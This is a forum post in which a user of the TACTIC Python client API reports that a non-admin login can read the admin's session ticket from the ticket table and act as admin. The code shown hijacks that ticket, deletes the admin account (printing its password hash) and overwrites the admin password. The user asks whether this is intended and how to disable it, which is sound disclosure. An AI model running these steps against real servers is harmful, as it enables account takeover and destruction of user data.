11-17-2021, 12:15 PM
(This post was last modified: 11-17-2021, 03:16 PM by LazyLeopard.)
I am playing with the python client api at the moment. I have been able to get this sequence going.
I am also able to query other `sthpw` search types including `sthpw/file` and `sthpw/snapshot`. All of which pound the db very heavily.
Actually, I can also don't need any special permissions to go ahead and delete the admin user
or directly update its password without any problem!
Is this intended behaviour?
What can I do to disable this?
Code:
import tactic_client_lib as tcl
server = tcl.TacticServerStub.get() # login using non-admin user
server.check_access('project', {'code', 'new_project'}, 'allow')
# False
ticket = server.query('sthpw/ticket', filters=[('login', 'admin')], order_bys=['timestamp desc'], single=True]
server.set_ticket(ticket['ticket'])
server.check_access('project', {'code', 'new_project'}, 'allow')
# True
I am also able to query other `sthpw` search types including `sthpw/file` and `sthpw/snapshot`. All of which pound the db very heavily.
Actually, I can also don't need any special permissions to go ahead and delete the admin user
Code:
server.delete_sobject('sthpw/login?code=admin')
{'__search_key__': 'sthpw/login?code=admin',
'__search_type__': 'sthpw/login',
'code': 'admin',
'data': None,
'department': None,
'display_name': ', Admin',
'email': None,
'first_name': 'Admin',
'hourly_wage': None,
'id': 1,
'keywords': None,
'keywords_data': None,
'last_name': None,
'license_type': None,
'location': None,
'login': 'admin',
'login_attempt': None,
'login_groups': None,
'namespace': None,
'password': '$S$DCUJSVJNAiQgZrkG8WAGF0U7WkXge5RACaiIPXlQKd0rPZAc8bCg',
'phone_number': None,
'project_code': None,
's_status': None,
'snapshot': None,
'upn': 'admin'}
or directly update its password without any problem!
Code:
user = server.get_by_search_key('sthpw/login?code=user')
server.update('sthpw/login?code=admin', {'password': user['password']})
Is this intended behaviour?
What can I do to disable this?